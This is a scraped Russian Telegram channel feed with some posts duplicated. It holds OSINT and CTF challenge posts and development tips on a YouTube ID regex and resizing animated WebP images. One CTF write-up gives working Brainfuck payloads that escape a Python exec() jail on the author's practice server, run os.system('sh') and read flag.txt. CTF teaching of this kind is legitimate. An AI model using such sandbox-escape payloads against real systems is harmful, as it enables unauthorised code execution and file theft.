Поиски Эстонского аиста
Решение задачки по поиску из прошлого поста.
📖 Osint-овской частью, по поиску гнезда было определение страны и поиск сайта, где собраны все известные в Эстонии гнезда аистов. Дальше можно было или руками проверить все 3332 места или придумать автоматизацию и/или фильтрацию мест.
Для автоматизации нужны отформатированные и структурированные данные. Их легко вытащить с сайта: ссылка. Даже парсить ничего не нужно, поскольку координаты приходят по апихе в json, одним объектом. Ответ апи тут. Из всего объекта нужны только координаты, остальное мусор. Но когда начал писать парсер, нашел поле «added» – это признак, где размещено гнездо. И среди прочего оказалось полезное «На бетонных столбах без проводов». Такая фильтрация сократила точки до 429 штук – 8 раз меньше, такое вполне реально и «руками» обработать. Однако признак я нашел уже после запила основного скрипта поиска, да и автоматизировать все равно интереснее 😁
❗️ Идея автоматизированного поиска простая – пишем бота, который будет бегать по всем известным координатам и смотреть обстановку. Оглядывается по сторонам и сравнивает местность с известными фотками. Достаточно перейти в панораму гугл карты и сделать четыре скрина: дефолтная панорама, которая открывается сразу при открыти – обычно это параллельное дороге положение. А также еще три фотки с шагом 90 градусов. На картах гугла если кликать по компасу в углу экрана, то отображение так и поворачивается – ровно на 90 градусов.
Запускаем бота по всем точкам скринить панораму с четырех сторон света. А чтобы удобнее было обрабатывать результаты, делаем скрины с именем lat_lng_degree.jpg
❗️ Когда насобирали фотки всех мест, нужно сравнить с исходными фотками. Просто попиксельное сравнение тут не годится, из-за разных масштабов и положения. Но справится машинное зрение, для этого удобно использовать библиотеку OpenCV, она есть под множество языков, но как по мне, в питоне проще использовать. Базовое сравнение в OpenCV не учитывает цвет, т.к. картинки сравниваются в оттенках серого, а алгоритм производит сравнение по контрольным точкам и объектам, которые считает важными. Это дает хорошие данные, но в нашем случае недостаточно. Поэтому пришлось немного помудрить и добавить три уровня проверки:
1. Сравнение в 6 разных масштабах – с шагом 10% шаблон уменьшается и увеличивается перед сверкой, а в итоге берется лучший результат.
2. Сравнение на основе ORB – поиск ключевых точек. OpenCV ищет точки на изображениях, которые по «его мнению» являются значимыми и сравнивает наличие и расположение таких точек на обоих изображениях.
3. Сравнение гистограмм – это сравнение по распределению цветов и яркости. Такая проверка сможет напортачить, если оригиналы сделаны зимой, а на панорамах будет лето или наоборот. Но если сезон один и тот же, то поможет отбросить другие лишние варианты.
Этими тремя алгоритмами сравниваем шаблонные картинки с каждой стороной света из набора одних и тех же координат. Выбираем лучшие варианты по всем сторонам света и высчитываем итоговый результат схожести шаблона и места с панорамы.
📌 В итоге бот пробегается во всем местам, делает фотки с четырех сторон и сравнивает их с шаблонными изображениями. Все результаты сортируем и после выполнения, нужное место было на первом месте, набрав 32.5% схожести. На втором и третьем месте по 29%, далее ниже 25%.
Первая версия скрипта «бегала» по панорам 13 часов, а потом еще около часа сравнивала результаты. Но после фильтрации точек до 430, дело пошло шустрее – 2.5 часа. Это все равно много, пришлось запустить бота на 10 потоков, больше мой ноут не вытянул (это 10 открытых в фоне браузеров). Скрипт сверки фоток тоже разделил на потоки. Итоговое время работы составило 19 минут: 13.5 мин сбор фоток и 5.5 мин сверка с исходными фотками.
✏️ Код писал безжалостно мучая нейронку, объясняя, что дописывать в мои алгоритмы, потом руками до ума доводил. Поэтому качество может немного хромать, но для баловства самый раз, и понять идею можно. Все скрипты можно скачать тут: архив.
👀 Посмотреть на аиста тут
Решение задачки по поиску из прошлого поста.
📖 Osint-овской частью, по поиску гнезда было определение страны и поиск сайта, где собраны все известные в Эстонии гнезда аистов. Дальше можно было или руками проверить все 3332 места или придумать автоматизацию и/или фильтрацию мест.
Для автоматизации нужны отформатированные и структурированные данные. Их легко вытащить с сайта: ссылка. Даже парсить ничего не нужно, поскольку координаты приходят по апихе в json, одним объектом. Ответ апи тут. Из всего объекта нужны только координаты, остальное мусор. Но когда начал писать парсер, нашел поле «added» – это признак, где размещено гнездо. И среди прочего оказалось полезное «На бетонных столбах без проводов». Такая фильтрация сократила точки до 429 штук – 8 раз меньше, такое вполне реально и «руками» обработать. Однако признак я нашел уже после запила основного скрипта поиска, да и автоматизировать все равно интереснее 😁
❗️ Идея автоматизированного поиска простая – пишем бота, который будет бегать по всем известным координатам и смотреть обстановку. Оглядывается по сторонам и сравнивает местность с известными фотками. Достаточно перейти в панораму гугл карты и сделать четыре скрина: дефолтная панорама, которая открывается сразу при открыти – обычно это параллельное дороге положение. А также еще три фотки с шагом 90 градусов. На картах гугла если кликать по компасу в углу экрана, то отображение так и поворачивается – ровно на 90 градусов.
Запускаем бота по всем точкам скринить панораму с четырех сторон света. А чтобы удобнее было обрабатывать результаты, делаем скрины с именем lat_lng_degree.jpg
❗️ Когда насобирали фотки всех мест, нужно сравнить с исходными фотками. Просто попиксельное сравнение тут не годится, из-за разных масштабов и положения. Но справится машинное зрение, для этого удобно использовать библиотеку OpenCV, она есть под множество языков, но как по мне, в питоне проще использовать. Базовое сравнение в OpenCV не учитывает цвет, т.к. картинки сравниваются в оттенках серого, а алгоритм производит сравнение по контрольным точкам и объектам, которые считает важными. Это дает хорошие данные, но в нашем случае недостаточно. Поэтому пришлось немного помудрить и добавить три уровня проверки:
1. Сравнение в 6 разных масштабах – с шагом 10% шаблон уменьшается и увеличивается перед сверкой, а в итоге берется лучший результат.
2. Сравнение на основе ORB – поиск ключевых точек. OpenCV ищет точки на изображениях, которые по «его мнению» являются значимыми и сравнивает наличие и расположение таких точек на обоих изображениях.
3. Сравнение гистограмм – это сравнение по распределению цветов и яркости. Такая проверка сможет напортачить, если оригиналы сделаны зимой, а на панорамах будет лето или наоборот. Но если сезон один и тот же, то поможет отбросить другие лишние варианты.
Этими тремя алгоритмами сравниваем шаблонные картинки с каждой стороной света из набора одних и тех же координат. Выбираем лучшие варианты по всем сторонам света и высчитываем итоговый результат схожести шаблона и места с панорамы.
📌 В итоге бот пробегается во всем местам, делает фотки с четырех сторон и сравнивает их с шаблонными изображениями. Все результаты сортируем и после выполнения, нужное место было на первом месте, набрав 32.5% схожести. На втором и третьем месте по 29%, далее ниже 25%.
Первая версия скрипта «бегала» по панорам 13 часов, а потом еще около часа сравнивала результаты. Но после фильтрации точек до 430, дело пошло шустрее – 2.5 часа. Это все равно много, пришлось запустить бота на 10 потоков, больше мой ноут не вытянул (это 10 открытых в фоне браузеров). Скрипт сверки фоток тоже разделил на потоки. Итоговое время работы составило 19 минут: 13.5 мин сбор фоток и 5.5 мин сверка с исходными фотками.
✏️ Код писал безжалостно мучая нейронку, объясняя, что дописывать в мои алгоритмы, потом руками до ума доводил. Поэтому качество может немного хромать, но для баловства самый раз, и понять идею можно. Все скрипты можно скачать тут: архив.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍4❤2💊1
Побег с помощью Brainfuck
📖 В продолжение темы с интерактивом, публикую новую задачку на нестандартную логику. Про аиста, кажется, был интерес порешать, но не хватило времени – описание решения быстро опубликовал. Исправляю эту проблему: разбор задачи опубликую через неделю, должно хватить времени спокойно покопаться. И чтобы было вообще все по-настоящему, развернул сервер, на котором можно проверить свое решение и получить флаг.
📌 Суть задачи: пробиться через проверки ввода и получить данные из текстового файла flag.txt, он лежит на сервере рядом со скриптом, с которым происходит «общение».
Скрипт игнорирует сообщения длиной более 200 символов и все символы, кроме тех, что есть в алфавите языка Brainfuck. Код с сервера предоставляется для изучения и отладки локально. Скрипт написан на python и полностью повторяет логику brainfuck, выполняя транслитерацию ввода: код брайнфака переводит в питон и потом выполняет через exec.
📖 Это задачка из категории Jail (тюрьма) —тип задач в CTF, где участник оказывается в ограниченной среде (например, внутри Python-интерпретатора, Bash-оболочки, специального языка вроде Brainfuck и тд) и должен найти способ "сбежать" из этой среды, чтобы выполнить произвольные команды или прочитать флаг на сервере.
❗️ Задача доступна на сервере, данные для подключения:
Скрипт с сервера для изучения и локальной отладки: скачать.
Описание решения выйдет в обед воскресенья, 10 августа.
Коллективные обсуждения и решения приветствуются – они в комментариях.
Кто первый решит, тот молодец 😁
———
#⃣ #CTF #ЗадачиCTF #Jail
🐞 БАГодельня: Канал // Чат
📖 В продолжение темы с интерактивом, публикую новую задачку на нестандартную логику. Про аиста, кажется, был интерес порешать, но не хватило времени – описание решения быстро опубликовал. Исправляю эту проблему: разбор задачи опубликую через неделю, должно хватить времени спокойно покопаться. И чтобы было вообще все по-настоящему, развернул сервер, на котором можно проверить свое решение и получить флаг.
📌 Суть задачи: пробиться через проверки ввода и получить данные из текстового файла flag.txt, он лежит на сервере рядом со скриптом, с которым происходит «общение».
Скрипт игнорирует сообщения длиной более 200 символов и все символы, кроме тех, что есть в алфавите языка Brainfuck. Код с сервера предоставляется для изучения и отладки локально. Скрипт написан на python и полностью повторяет логику brainfuck, выполняя транслитерацию ввода: код брайнфака переводит в питон и потом выполняет через exec.
📖 Это задачка из категории Jail (тюрьма) —тип задач в CTF, где участник оказывается в ограниченной среде (например, внутри Python-интерпретатора, Bash-оболочки, специального языка вроде Brainfuck и тд) и должен найти способ "сбежать" из этой среды, чтобы выполнить произвольные команды или прочитать флаг на сервере.
❗️ Задача доступна на сервере, данные для подключения:
nc ctf.owl-dev.ru 1337
Скрипт с сервера для изучения и локальной отладки: скачать.
Описание решения выйдет в обед воскресенья, 10 августа.
Коллективные обсуждения и решения приветствуются – они в комментариях.
Кто первый решит, тот молодец 😁
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤3🤔3
Упрощаем вставку видео с YouTube
📖 Когда компьютер – это основной рабочий инструмент, а множество программ и сайтов используются ежедневно, то незаметно для самого себя формируются шаблоны поведения с тем или иным интерфейсом. Уже не задумываясь, автоматически тянется курсор к крестику, чтобы закрыть окно, жмем enter для отправки формы, F12 для вызова консоли в браузере, а при загрузке аватарки выбираем файлы с расширениями png или jpeg, но никак не exe. И еще много подобных мелочей, которые становятся рефлексами, а не осмысленными действиями. Такой же эффект может случиться и при разработке любого функционала, с которым взаимодействует пользователь. Для разработчика, который регулярно реализовывает один и тот же кусочек логики, такой функционал становится предельно очевидным и уже интуитивно понятным в использовании. Но это совсем не значит, что такой же опыт имеют и пользователи, для которых строится приложение. Об этом важно помнить и осмысленно подходить к отладке, оптимизации и валидации функционала, с которым будут работать живые люди.
📌 Хороший пример, который демонстрирует то, что я описал в первом абзаце, это вставка видео с YouTube в каком-нибудь пользовательском интерфейсе. Это может быть как админка для контентщиков, так и пользовательский кусок приложения. Для разработчика, который обрабатывает, хранит и выводит потом контент, очевидно – нужно вставлять iframe. Четыре клика: открыл ролик, под видео нажать «Поделиться», потом кнопку «Встроить» и скопировать html-код сгенерированный YouTube. А для пользователя это ЦЕЛЫХ четыре клика, и они совсем не интуитивные. Нужно найти все эти кнопки и потом понять, что конкретно скопировать и куда потом вставить в интерфейсе управления контентом. Очуметь можно, если делать такое в первый раз.
📌 По опыту могу сказать, что в контент пихают все, что только можно, а код iframe всегда в последнюю очередь. Запихнуть можно четыре разных вариации данных: просто ссылка на сам ролик, которая открывается в адресной строке браузера. Ссылка, которая сразу появляется в попапе «Поделиться». Третье – ссылка из кода iframe. И только четвертым будет весь код вставки, который и ожидается в интерфейсе.
❗️ Все эти вариации можно провалидировать при вставке и ругаться на пользователя, просить вставить корректные данные. А пользователь в ответ будет плеваться и ругать разработчиков логики и интерфейса. Но пользователя не обязательно мучать, и не дергаться каждый раз на сообщения, что вставка видео не работает. Такую ситуацию легко обработать – пусть суют все что угодно, из всех этих данных можно получить то, что нужно для дальнейшей обработки.
Для вывода видео с YouTube достаточно иметь только ID видео. Он хранится во всех вариациях ссылки, который могут притащить пользователи. Просто обрабатываем эти варианты и дергаем из данных ID, а уже при выводе или при сохранении контента формируем остатки ссылки в валидном формате.
👨💻 К примеру, у нас есть ролик с ютуба, который нужно вставить фреймом в контент. Вытаскиваем ID видео из любого варианта данных, для этого хватит одной регулярки:
Получив id, можно сформировать любую ссылку или обертку, которая точно будет валидной. И все довольны – валидные данные сохранили, а пользователь пихает все, что ему удобно и привычно взять для вставки.
Все тоже самое применимо и к любым другим сервисам и вставкам, не только к видео с ютуба.
👻 Бонус
По id видоса можно дернуть с ютуба картинку-превью, сформировав ссылку по шаблону:
https://img.youtube.com/vi/dQw4w9WgXcQ/0.jpg, где dQw4w9WgXcQ – это id.
📖 Когда компьютер – это основной рабочий инструмент, а множество программ и сайтов используются ежедневно, то незаметно для самого себя формируются шаблоны поведения с тем или иным интерфейсом. Уже не задумываясь, автоматически тянется курсор к крестику, чтобы закрыть окно, жмем enter для отправки формы, F12 для вызова консоли в браузере, а при загрузке аватарки выбираем файлы с расширениями png или jpeg, но никак не exe. И еще много подобных мелочей, которые становятся рефлексами, а не осмысленными действиями. Такой же эффект может случиться и при разработке любого функционала, с которым взаимодействует пользователь. Для разработчика, который регулярно реализовывает один и тот же кусочек логики, такой функционал становится предельно очевидным и уже интуитивно понятным в использовании. Но это совсем не значит, что такой же опыт имеют и пользователи, для которых строится приложение. Об этом важно помнить и осмысленно подходить к отладке, оптимизации и валидации функционала, с которым будут работать живые люди.
📌 Хороший пример, который демонстрирует то, что я описал в первом абзаце, это вставка видео с YouTube в каком-нибудь пользовательском интерфейсе. Это может быть как админка для контентщиков, так и пользовательский кусок приложения. Для разработчика, который обрабатывает, хранит и выводит потом контент, очевидно – нужно вставлять iframe. Четыре клика: открыл ролик, под видео нажать «Поделиться», потом кнопку «Встроить» и скопировать html-код сгенерированный YouTube. А для пользователя это ЦЕЛЫХ четыре клика, и они совсем не интуитивные. Нужно найти все эти кнопки и потом понять, что конкретно скопировать и куда потом вставить в интерфейсе управления контентом. Очуметь можно, если делать такое в первый раз.
📌 По опыту могу сказать, что в контент пихают все, что только можно, а код iframe всегда в последнюю очередь. Запихнуть можно четыре разных вариации данных: просто ссылка на сам ролик, которая открывается в адресной строке браузера. Ссылка, которая сразу появляется в попапе «Поделиться». Третье – ссылка из кода iframe. И только четвертым будет весь код вставки, который и ожидается в интерфейсе.
❗️ Все эти вариации можно провалидировать при вставке и ругаться на пользователя, просить вставить корректные данные. А пользователь в ответ будет плеваться и ругать разработчиков логики и интерфейса. Но пользователя не обязательно мучать, и не дергаться каждый раз на сообщения, что вставка видео не работает. Такую ситуацию легко обработать – пусть суют все что угодно, из всех этих данных можно получить то, что нужно для дальнейшей обработки.
Для вывода видео с YouTube достаточно иметь только ID видео. Он хранится во всех вариациях ссылки, который могут притащить пользователи. Просто обрабатываем эти варианты и дергаем из данных ID, а уже при выводе или при сохранении контента формируем остатки ссылки в валидном формате.
👨💻 К примеру, у нас есть ролик с ютуба, который нужно вставить фреймом в контент. Вытаскиваем ID видео из любого варианта данных, для этого хватит одной регулярки:
const regex = /(?:youtube\.com\/watch\?v=|youtu\.be\/|youtube\.com\/embed\/)([a-zA-Z0-9_-]+)/;
const id1 = 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'.match(regex)[1];
const id2 = 'https://youtu.be/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa'.match(regex)[1];
const id3 = 'https://www.youtube.com/embed/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa'.match(regex)[1];
const id4 = '<iframe ... src="https://www.youtube.com/embed/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa" ...'.match(regex)[1];
console.log(id1, id2, id3, id4);
Получив id, можно сформировать любую ссылку или обертку, которая точно будет валидной. И все довольны – валидные данные сохранили, а пользователь пихает все, что ему удобно и привычно взять для вставки.
Все тоже самое применимо и к любым другим сервисам и вставкам, не только к видео с ютуба.
👻 Бонус
По id видоса можно дернуть с ютуба картинку-превью, сформировав ссылку по шаблону:
https://img.youtube.com/vi/dQw4w9WgXcQ/0.jpg, где dQw4w9WgXcQ – это id.
👍6🔥4🥴2 1
Побег с помощью Brainfuck. Решение
Решение задачки из прошлого поста про Brainfuck.
📖 Суть задачи: пробиться через валидацию строки ввода и выполнить код на сервере для чтения данных из файла flag.txt. Валидная строка — длина менее 200 символов, содержит только алфавит Brainfuck (8 символов:
Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через
📌 Решений тут может быть много. Опишу четыре в порядке их длины строки:
1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн генератора: ссылка. Длина строки 195 символов.
2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак – 88 символов.
3. У Brainfuck, кроме кодирования строк, есть еще возможность передать запятую и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит шлем 30 пар запятой и точки: ,.,.,. и тд. После этого засылаем все тот же print(open('flag.txt').read()). Длина строки для решения – 60 символов
4. В Brainfuck так же есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт – 0x00. Нулевой байт с консоли отправляется командой CTRL + @ или CTRL + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, в а квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат – 14 символов на Brainfuck:
📌 Если есть еще интересные решения – присылайте их в комментарии. С задачкой справилось 9 человек, кто в личку присылал решения и флаги. Значит формат интересный и попробуем еще что-то подобное устроить.
📌 Задача на сервере будет остановлена сегодня в 00:00 по МСК, но код в посте остался прикреплен, можно локально потренироваться. Исходники: скачать.
Сегодня еще можно попробовать помучить сервер, подключение:
❗️ Было несколько запросов, чтобы заранее анонсировать время выхода новой задачи. Объявляю: новая задача будет опубликована завтра – 10 августа в 12:00 по МСК времени.
———
#⃣ #CTF #РазборыЗадач
🐞 БАГодельня: Канал // Чат
Решение задачки из прошлого поста про Brainfuck.
📖 Суть задачи: пробиться через валидацию строки ввода и выполнить код на сервере для чтения данных из файла flag.txt. Валидная строка — длина менее 200 символов, содержит только алфавит Brainfuck (8 символов:
[, ], <, >, +, -, ., ,).Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через
exec. Нужно написать код на Brainfuck, который преобразуется в Python-код и достает данные из файла.📌 Решений тут может быть много. Опишу четыре в порядке их длины строки:
1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн генератора: ссылка. Длина строки 195 символов.
++++++++[>++++++++++++++>+++++>++++++++++++>++++++<<<<-]>.++.---------.+++++.++++++.>.<-----.+.>>+++++.<<--.>.-.>+.<<--.>>-----.++++++.>--.<<<++++++++.++++.----.>.++.>>.<<<--.>>--.----.+++.<-.+..
2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак – 88 символов.
++++++++++[>++++++++++>++++++++++++>++++<<<-]>+.>.<.--.>>.<<++++++.+++++.++.>---.-.>.+..
print(open('flag.txt').read())
3. У Brainfuck, кроме кодирования строк, есть еще возможность передать запятую и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит шлем 30 пар запятой и точки: ,.,.,. и тд. После этого засылаем все тот же print(open('flag.txt').read()). Длина строки для решения – 60 символов
,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.
print(open('flag.txt').read())
4. В Brainfuck так же есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт – 0x00. Нулевой байт с консоли отправляется командой CTRL + @ или CTRL + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, в а квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат – 14 символов на Brainfuck:
> nc ctf.owl-dev.ru 1337
++++++++++[.,]
import os
os.system('sh')
^@ # нулевой байт для остановки цикла
cat flag.txt
📌 Если есть еще интересные решения – присылайте их в комментарии. С задачкой справилось 9 человек, кто в личку присылал решения и флаги. Значит формат интересный и попробуем еще что-то подобное устроить.
📌 Задача на сервере будет остановлена сегодня в 00:00 по МСК, но код в посте остался прикреплен, можно локально потренироваться. Исходники: скачать.
Сегодня еще можно попробовать помучить сервер, подключение:
nc ctf.owl-dev.ru 1337❗️ Было несколько запросов, чтобы заранее анонсировать время выхода новой задачи. Объявляю: новая задача будет опубликована завтра – 10 августа в 12:00 по МСК времени.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍4❤1👏1 1
Задача «Vibe Shell»
Продолжаем цикл коротких задачек! Новая задачка для вас — на неделю, до 00:00 по МСК 17 августа.
📖 Суть: очередной челлендж на нестандартную логику. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать его содержимое.
❗️Подключение к серверу:
❗️ Решения и флаги присылайте мне в ЛС: @ipatove.
Обсуждать задачу и искать коллективные решения можно в комментариях или в нашем чате.
📅 Решение опубликую: 16 августа в 12:00 по МСК.
🏆 Первый решивший — молодец! Топ-3 объявлю в комментариях к этому посту.
———
#⃣ #CTF #ЗадачиCTF #misc
🐞 БАГодельня: Канал // Чат
Продолжаем цикл коротких задачек! Новая задачка для вас — на неделю, до 00:00 по МСК 17 августа.
📖 Суть: очередной челлендж на нестандартную логику. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать его содержимое.
❗️Подключение к серверу:
nc ctf.owl-dev.ru 1337 ❗️ Решения и флаги присылайте мне в ЛС: @ipatove.
Обсуждать задачу и искать коллективные решения можно в комментариях или в нашем чате.
📅 Решение опубликую: 16 августа в 12:00 по МСК.
🏆 Первый решивший — молодец! Топ-3 объявлю в комментариях к этому посту.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥8🤔5 2
Обработка анимированных webp изображений
📖 Недавно в рабочем проекте на бекенде столкнулись с необходимостью обработки webp, которые содержат несколько кадров – анимированные картинки. Ранее анимацию передавалась через gif-ки, но прогресс не стоит на месте и теперь картинки двигаются и в формате webp. А также скоро и png будут содержать анимацию, недавно вышла новая спецификация, но это совсем свежее обновление и браузеры их еще толком не поддерживают – это проблема нас будущих. Пока нужно разобраться с webp.
Для обработки картинок чаще всего на сервере используется библиотека ImageMagick, с ней можно работать во многих языках бекенда. Но если напрямую, без специальных флагов, начать ресайзить анимированный webp, то картинка становится статичной – теряются кадры анимации, а иногда и вовсе ломается обработка. Поэтому сперва нужно определить, какого типа будем обрабатывать изображение: статичное или анимированные.
📌 Из спецификации webp узнаем, какую структуру имеют заголовки и как там указывается тип. Первые байта заголовка имеет следующую структуру:
– RIFF – магическое число (
– Далее четырехбайтовое целое число, указывающее размер всего файла минус первые восемь байт (
– Следующее магическое число – (
– Далее идет четыре байта VP8X, которые определяют особенности webp.
– И сразу после VP8X идет один байт, который как раз и указывают особенности картинки: анимация, альфа-канал и так далее
По битовой маске 17-го байта можно определить особенности картинки:
❗️ Также анимацию можно определить по заголовку ANIM, который обозначает в каком месте файла начинаются кадры анимации. Но в данном примере будет определять через битовую маску 17го байта.
📌 Теперь разберемся с ImageMagick. Ему для корректной работы с анимированными изображениями нужно передавать флаг -coalesce, тогда будут обработаны все кадры внутри изображения. А для оптимизации кадров можно использовать флаг -layers CompareAny. Таким образом для ресайза по ширине в 500 пикселей команда для ImageMagick будет такая:
👨💻 Всех вводных хватает и остается только написать код обработки, который определит тип webp(статичный или анимированный) и выполнит ресайз изображения. Код можно писать на любом языке, но под рукой был python, на нем приведу пример.
И функция для вызова ImageMagick, которая сделает ресайз изображения:
На этом пока все, ждем теперь появления анимированного PNG, чтобы и с ним покопаться и разобраться, как обрабатывать.
📖 Недавно в рабочем проекте на бекенде столкнулись с необходимостью обработки webp, которые содержат несколько кадров – анимированные картинки. Ранее анимацию передавалась через gif-ки, но прогресс не стоит на месте и теперь картинки двигаются и в формате webp. А также скоро и png будут содержать анимацию, недавно вышла новая спецификация, но это совсем свежее обновление и браузеры их еще толком не поддерживают – это проблема нас будущих. Пока нужно разобраться с webp.
Для обработки картинок чаще всего на сервере используется библиотека ImageMagick, с ней можно работать во многих языках бекенда. Но если напрямую, без специальных флагов, начать ресайзить анимированный webp, то картинка становится статичной – теряются кадры анимации, а иногда и вовсе ломается обработка. Поэтому сперва нужно определить, какого типа будем обрабатывать изображение: статичное или анимированные.
📌 Из спецификации webp узнаем, какую структуру имеют заголовки и как там указывается тип. Первые байта заголовка имеет следующую структуру:
– RIFF – магическое число (
52 49 46 46), которое обозначает начало файла формата RIFF (Resource Interchange File Format)– Далее четырехбайтовое целое число, указывающее размер всего файла минус первые восемь байт (
52 49 46 46 + size) – Следующее магическое число – (
57 45 42 50), оно определяет формат файла webp – Далее идет четыре байта VP8X, которые определяют особенности webp.
– И сразу после VP8X идет один байт, который как раз и указывают особенности картинки: анимация, альфа-канал и так далее
По битовой маске 17-го байта можно определить особенности картинки:
– 0b00000001 Есть альфа-канал (прозрачность)
– 0b00000010 Есть анимация
– 0b00000100 Есть EXIF-метаданные
– 0b00001000 Есть XMP-метаданные
– 0b00010000 Есть ICC-профиль
❗️ Также анимацию можно определить по заголовку ANIM, который обозначает в каком месте файла начинаются кадры анимации. Но в данном примере будет определять через битовую маску 17го байта.
📌 Теперь разберемся с ImageMagick. Ему для корректной работы с анимированными изображениями нужно передавать флаг -coalesce, тогда будут обработаны все кадры внутри изображения. А для оптимизации кадров можно использовать флаг -layers CompareAny. Таким образом для ресайза по ширине в 500 пикселей команда для ImageMagick будет такая:
magick anim.webp -coalesce -resize 500x -layers CompareAny output-anim.webp
👨💻 Всех вводных хватает и остается только написать код обработки, который определит тип webp(статичный или анимированный) и выполнит ресайз изображения. Код можно писать на любом языке, но под рукой был python, на нем приведу пример.
# Проверка, содержит webp анимацию или нет
def is_animated_webp(file_path):
with open(file_path, "rb") as f:
data = f.read(17)
# Проверяем сигнатуру анимированного WebP (RIFF + WEBPVP8X + ANIM)
is_riff = data.startswith(b'RIFF')
is_webp = data[8:12] == b'WEBP'
is_vp8x = data[12:16] == b'VP8X'
has_animation = (data[16] & 0b00000010) != 0 # Проверка флага анимации
return is_riff and is_webp and is_vp8x and has_animation
И функция для вызова ImageMagick, которая сделает ресайз изображения:
def resize_webp(input_path, output_path, target_width):
if is_animated_webp(input_path):
# Анимированный WebP: обрабатываем с учетом кадров
command = [
'magick',
input_path,
'-coalesce', # Восстанавливаем полные кадры
'-resize', f'{target_width}x', # Ресайз по ширине
'-layers', 'CompareAny', # Оптимизация анимации
output_path
]
else:
# Статичный WebP
command = [
'magick',
input_path,
'-resize', f'{target_width}x',
output_path
]
# Запускаем ImageMagick
subprocess.run(command, check=True)
На этом пока все, ждем теперь появления анимированного PNG, чтобы и с ним покопаться и разобраться, как обрабатывать.
7❤6🔥6👍2 1
Задача категории OSINT «Отголосок прошлого»
📖 В комментариях и в личку несколько раз писали по поводу возможности задач категории OSINT – поиск решения по открытым источникам. Подобную уже пробовали решать – про аиста, но там все же был упор на разработку, писали бота для поиска по картам. А конкретно на osint-овские навыки еще не было ничего. Давайте попробуем, на сколько такая категория будет интересна.
К тому же немного автоматизируем сдачу флагов, чтобы не писать мне в личку, а можно было проверяться автоматически. Для осинтовских задач такое может пригодиться, поскольку флаг формируется из разных данных и не всегда понятно, на верном пути или еще далек от решения. Для автоматизации запущен простой бот в телеграм, все что он умеет, это принимать флаги и отвечать: успех или провал. И бонусом это поможет точнее видеть статистику по отправкам флагов и понимать на сколько интересны задачи, т.к. в личку не все пишут.
❗️ Описание задачи «Отголосок прошлого»:
Картинка для задания: скачать.
Флаг сдавать в формате:
———
📌 Бот, который проверяет флаги: @BugMakersFlagsBot
Но вы, как и раньше, можете писать мне в лс и делиться решениями: @ipatove
🐞 Автор задачи: Дмитрий Кустовский из команды БАГодельня.
Решение этой задачи выйдет на следующей неделе.
🏆 Первый решивший — молодец! Погнали!
———
#⃣ #CTF #ЗадачиCTF #OSINT
🐞 БАГодельня: Канал // Чат
📖 В комментариях и в личку несколько раз писали по поводу возможности задач категории OSINT – поиск решения по открытым источникам. Подобную уже пробовали решать – про аиста, но там все же был упор на разработку, писали бота для поиска по картам. А конкретно на osint-овские навыки еще не было ничего. Давайте попробуем, на сколько такая категория будет интересна.
К тому же немного автоматизируем сдачу флагов, чтобы не писать мне в личку, а можно было проверяться автоматически. Для осинтовских задач такое может пригодиться, поскольку флаг формируется из разных данных и не всегда понятно, на верном пути или еще далек от решения. Для автоматизации запущен простой бот в телеграм, все что он умеет, это принимать флаги и отвечать: успех или провал. И бонусом это поможет точнее видеть статистику по отправкам флагов и понимать на сколько интересны задачи, т.к. в личку не все пишут.
❗️ Описание задачи «Отголосок прошлого»:
Когда-то на этом месте стояло здание, где сейчас стоит фонтан. Власти настолько хотели демонтировать здание, что применяли взрывчатку, и даже, по некоторым сведениям, использовался танк.
Картинка для задания: скачать.
Флаг сдавать в формате:
BugCTF{Building_Name}. Не чувствителен к регистру. Название здания на английском, два слова!———
📌 Бот, который проверяет флаги: @BugMakersFlagsBot
Но вы, как и раньше, можете писать мне в лс и делиться решениями: @ipatove
Решение этой задачи выйдет на следующей неделе.
🏆 Первый решивший — молодец! Погнали!
———
Please open Telegram to view this post
VIEW IN TELEGRAM
2🔥6🤔3❤2 1
Задача «Vibe Shell». Решение
Решение задачки из поста от 10 августа: описание задачи.
❗️Сервер задачи будет работать еще завтра до 21:00. Можно опробовать способы решения из описания. Но если читаете пост позже, то можете запустить задачу локально, исходники и контейнер тут: github.
